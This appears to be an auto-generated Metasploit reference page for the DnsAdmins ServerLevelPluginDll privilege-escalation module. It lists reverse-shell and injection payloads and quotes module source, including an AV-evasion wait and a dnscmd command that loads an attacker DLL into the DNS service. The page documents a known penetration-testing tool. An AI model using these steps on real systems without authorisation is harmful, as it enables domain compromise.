59 payload/windows/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline
60 payload/windows/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline
61 payload/windows/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline
62 payload/windows/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
63 payload/windows/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline
64 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
65 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
66 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
67 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
68 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
69 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
70 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
71 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
72 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
73 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
74 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
75 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
76 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
77 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
78 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
79 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
80 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
81 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
82 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
83 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
84 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
85 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
86 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
87 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
88 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
89 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
90 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
91 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
92 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
93 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
94 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
95 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
96 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
97 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
98 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
99 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
100 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
101 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
102 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
103 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
104 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
105 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
106 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
107 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
108 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
109 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
110 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
111 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
112 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
113 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
114 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
115 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
116 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
117 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
118 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
119 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
120 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
121 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
122 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
123 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
124 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
125 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
126 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
127 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
128 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
129 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
130 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
131 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
132 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
133 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
134 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
135 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
136 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
137 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
138 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
139 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
140 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
141 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
142 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
143 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
144 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
145 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
146 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
147 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
148 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
149 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
150 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
151 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
152 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
153 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
154 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
155 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
156 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
157 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
158 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
159 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
160 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
161 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
162 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
163 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
164 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
165 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
166 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
167 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
168 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
169 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
170 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
171 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
172 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
173 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
174 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
175 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
176 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
177 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
178 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
179 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
180 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
181 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
182 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
183 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
184 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
185 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
186 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
187 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/dnsadmin_serverlevelplugindll exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- OS is not vulnerable!
- Unable to enumerate the DNS service!
- The DNS service does not exist on this host!
- Unable to determine permissions on the DNS service!
- Unable to enumerate group membership!
- User <USERNAME> is not part of the DnsAdmins group!
- User <USERNAME> does not have permissions to start/stop the DNS service!
- Wrong payload architecture!
- Session is already elevated!
- Target is most likely not vulnerable!
- Was unable to start the DNS service after 3 minutes of trying...
- Couldn't retrieve the target's build number!
- 'Enable insecure guest logons' is not set to Enabled on the target system!
- Woops looks like the DLL got picked up by AV or somehow got deleted...
- Entering danger section...
- Was unable to stop the DNS service after 3 minutes of trying...
- Was unable to start the DNS service after 3 minutes of trying...
- Target arch is not compatible
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
OS is not vulnerable!
Here is a relevant code snippet related to the "OS is not vulnerable!" error message:
86:
87: def check
88: if sysinfo['OS'] =~ /Windows 20(03|08|12|16\+|16)/
89: vprint_good('OS seems vulnerable.')
90: else
91: vprint_error('OS is not vulnerable!')
92: return Exploit::CheckCode::Safe
93: end
94:
95: username = client.sys.config.getuid
96: user_sid = client.sys.config.getsid
Unable to enumerate the DNS service!
Here is a relevant code snippet related to the "Unable to enumerate the DNS service!" error message:
97: hostname = sysinfo['Computer']
98: vprint_status("Running check against #{hostname} as user #{username}...")
99:
100: srv_info = service_info('DNS')
101: if srv_info.nil?
102: vprint_error('Unable to enumerate the DNS service!')
103: return Exploit::CheckCode::Unknown
104: end
105:
106: if srv_info && srv_info[:display].empty?
107: vprint_error('The DNS service does not exist on this host!')
The DNS service does not exist on this host!
Here is a relevant code snippet related to the "The DNS service does not exist on this host!" error message:
102: vprint_error('Unable to enumerate the DNS service!')
103: return Exploit::CheckCode::Unknown
104: end
105:
106: if srv_info && srv_info[:display].empty?
107: vprint_error('The DNS service does not exist on this host!')
108: return Exploit::CheckCode::Safe
109: end
110:
111: # for use during permission check
112: if srv_info[:dacl].nil?
Unable to determine permissions on the DNS service!
Here is a relevant code snippet related to the "Unable to determine permissions on the DNS service!" error message:
108: return Exploit::CheckCode::Safe
109: end
110:
111: # for use during permission check
112: if srv_info[:dacl].nil?
113: vprint_error('Unable to determine permissions on the DNS service!')
114: return Exploit::CheckCode::Unknown
115: end
116: dacl_items = srv_info[:dacl].split('D:')[1].scan(/\((.+?)\)/)
117:
118: vprint_good("DNS service found on #{hostname}.")
Unable to enumerate group membership!
Here is a relevant code snippet related to the "Unable to enumerate group membership!" error message:
118: vprint_good("DNS service found on #{hostname}.")
119:
120: # user must be a member of the DnsAdmins group to be able to change ServerLevelPluginDll
121: group_membership = get_whoami
122: unless group_membership
123: vprint_error('Unable to enumerate group membership!')
124: return Exploit::CheckCode::Unknown
125: end
126:
127: unless group_membership.include? 'DnsAdmins'
128: vprint_error("User #{username} is not part of the DnsAdmins group!")
User <USERNAME> is not part of the DnsAdmins group!
Here is a relevant code snippet related to the "User <USERNAME> is not part of the DnsAdmins group!" error message:
123: vprint_error('Unable to enumerate group membership!')
124: return Exploit::CheckCode::Unknown
125: end
126:
127: unless group_membership.include? 'DnsAdmins'
128: vprint_error("User #{username} is not part of the DnsAdmins group!")
129: return Exploit::CheckCode::Safe
130: end
131:
132: # find the DnsAdmins group SID
133: dnsadmin_sid = ''
User <USERNAME> does not have permissions to start/stop the DNS service!
Here is a relevant code snippet related to the "User <USERNAME> does not have permissions to start/stop the DNS service!" error message:
159: user_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? user_sid }[0]
160: if user_dacl.include? 'RPWP'
161: vprint_good("User #{username} can start/stop the DNS service.")
162: end
163: else
164: vprint_error("User #{username} does not have permissions to start/stop the DNS service!")
165: return Exploit::CheckCode::Safe
166: end
167:
168: Exploit::CheckCode::Vulnerable
169: end
Wrong payload architecture!
Here is a relevant code snippet related to the "Wrong payload architecture!" error message:
170:
171: def exploit
172: # get system architecture
173: arch = sysinfo['Architecture']
174: if arch != payload_instance.arch.first
175: fail_with(Failure::BadConfig, 'Wrong payload architecture!')
176: end
177:
178: # no exploit, just create the DLL
179: if datastore['MAKEDLL'] == true
180: # copypasta from lib/msf/core/exploit/fileformat.rb
Session is already elevated!
Here is a relevant code snippet related to the "Session is already elevated!" error message:
185: return
186: end
187:
188: # will exploit
189: if is_system?
190: fail_with(Failure::BadConfig, 'Session is already elevated!')
191: end
192:
193: unless [CheckCode::Vulnerable].include? check
194: fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
195: end
Target is most likely not vulnerable!
Here is a relevant code snippet related to the "Target is most likely not vulnerable!" error message:
189: if is_system?
190: fail_with(Failure::BadConfig, 'Session is already elevated!')
191: end
192:
193: unless [CheckCode::Vulnerable].include? check
194: fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
195: end
196:
197: # if the DNS service is not started, it will throw RPC_S_SERVER_UNAVAILABLE when trying to set ServerLevelPluginDll
198: print_status('Checking service state...')
199: svc_state = service_status('DNS')
Was unable to start the DNS service after 3 minutes of trying...
Here is a relevant code snippet related to the "Was unable to start the DNS service after 3 minutes of trying..." error message:
210: sleep 1
211: break
212: else
213: sleep 2
214: total_wait_time += 2
215: fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
216: end
217: end
218:
219: # the if block assumes several things:
220: # 1. operator has set up their own SMB share (SMB2 is default for most targets), as MSF does not support SMB2 yet
Couldn't retrieve the target's build number!
Here is a relevant code snippet related to the "Couldn't retrieve the target's build number!" error message:
226:
227: # Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
228: build_num_raw = session.shell_command_token('cmd.exe /c ver')
229: build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
230: if build_num.nil?
231: print_error("Couldn't retrieve the target's build number!")
232: return
233: else
234: build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
235: vprint_status("Target's build number: #{build_num}")
236: end
'Enable insecure guest logons' is not set to Enabled on the target system!
Here is a relevant code snippet related to the "'Enable insecure guest logons' is not set to Enabled on the target system!" error message:
243: # https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser
244: if (build_num_gemversion >= Rex::Version.new('10.0.16299.0'))
245: # check if "Enable insecure guest logons" is enabled on the target system
246: allow_insecure_guest_auth = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters', 'AllowInsecureGuestAuth')
247: unless allow_insecure_guest_auth == 1
248: fail_with(Failure::BadConfig, "'Enable insecure guest logons' is not set to Enabled on the target system!")
249: end
250: end
251: print_status('Using user-provided UNC path.')
252: else
253: write_file(dllpath, make_serverlevelplugindll(arch))
Woops looks like the DLL got picked up by AV or somehow got deleted...
Here is a relevant code snippet related to the "Woops looks like the DLL got picked up by AV or somehow got deleted..." error message:
253: write_file(dllpath, make_serverlevelplugindll(arch))
254: print_good("Wrote DLL to #{dllpath}!")
255: print_status("Sleeping for #{datastore['AVTIMEOUT']} seconds to ensure the file wasn't caught by any AV...")
256: sleep(datastore['AVTIMEOUT'])
257: unless file_exist?(dllpath.to_s)
258: print_error('Woops looks like the DLL got picked up by AV or somehow got deleted...')
259: return
260: end
261: print_good("Looks like our file wasn't caught by the AV.")
262: end
263:
Entering danger section...
Here is a relevant code snippet related to the "Entering danger section..." error message:
259: return
260: end
261: print_good("Looks like our file wasn't caught by the AV.")
262: end
263:
264: print_warning('Entering danger section...')
265:
266: print_status("Modifying ServerLevelPluginDll to point to #{dllpath}...")
267: dnscmd_result = cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll #{dllpath}").to_s.strip
268: unless dnscmd_result.include? 'success'
269: fail_with(Failure::UnexpectedReply, dnscmd_result.split("\n")[0])
Was unable to stop the DNS service after 3 minutes of trying...
Here is a relevant code snippet related to the "Was unable to stop the DNS service after 3 minutes of trying..." error message:
309: sleep 1
310: break
311: else
312: sleep 2
313: total_wait_time += 2
314: fail_with(Failure::TimeoutExpired, 'Was unable to stop the DNS service after 3 minutes of trying...') if total_wait_time >= 90
315: end
316: end
317:
318: # clean up the dropped DLL
319: if session && dllpath && !datastore['DLLPATH'].start_with?('\\\\')
Was unable to start the DNS service after 3 minutes of trying...
Here is a relevant code snippet related to the "Was unable to start the DNS service after 3 minutes of trying..." error message:
330: sleep 1
331: break
332: else
333: sleep 2
334: total_wait_time += 2
335: fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
336: end
337: end
338: end
339:
340: def make_serverlevelplugindll(arch)
Target arch is not compatible
Here is a relevant code snippet related to the "Target arch is not compatible" error message:
397: when 'x86'
398: cpu = Metasm::Ia32.new
399: when 'x64'
400: cpu = Metasm::X86_64.new
401: else
402: fail_with(Failure::NoTarget, 'Target arch is not compatible')
403: end
404:
405: print_status('Building DLL...')
406: Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll, cpu)
407: end
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Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12983 Merged Pull Request: Dnsadmin ServerLevelPluginDLL Feature Abuse Privilege Escalation
References
- CVE: Not available
- https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
- https://adsecurity.org/?p=4064
- http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
See Also
Check also the following modules related to this module:
- auxiliary/admin/edirectory/edirectory_dhost_cookie
- auxiliary/gather/android_browser_new_tab_cookie_theft
- auxiliary/gather/apple_safari_ftp_url_cookie_theft
- auxiliary/gather/f5_bigip_cookie_disclosure
- auxiliary/scanner/http/allegro_rompager_misfortune_cookie
- exploit/linux/http/dlink_dspw110_cookie_noauth_exec
- exploit/linux/http/kaltura_unserialize_cookie_rce
- exploit/multi/misc/erlang_cookie_rce
- exploit/multi/php/php_unserialize_zval_cookie
- exploit/unix/webapp/actualanalyzer_ant_cookie_exec
- exploit/windows/http/servu_session_cookie
- post/firefox/gather/cookies
- post/multi/gather/chrome_cookies
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/http/jenkins_cli_deserialization
- exploit/multi/http/openmrs_deserialization
- exploit/multi/http/opmanager_sumpdu_deserialization
- exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
- exploit/multi/http/rails_secret_deserialization
- exploit/windows/http/desktopcentral_deserialization
- exploit/windows/http/hpe_sim_76_amf_deserialization
- exploit/windows/http/netmotion_mobility_mvcutil_deserialization
- exploit/windows/http/sharepoint_data_deserialization
- exploit/windows/http/telerik_rau_deserialization
- exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce
- exploit/windows/misc/veeam_one_agent_deserialization
Authors
- Shay Ber
- Imran E. Dawoodjee <imran[at]threathounds.com>
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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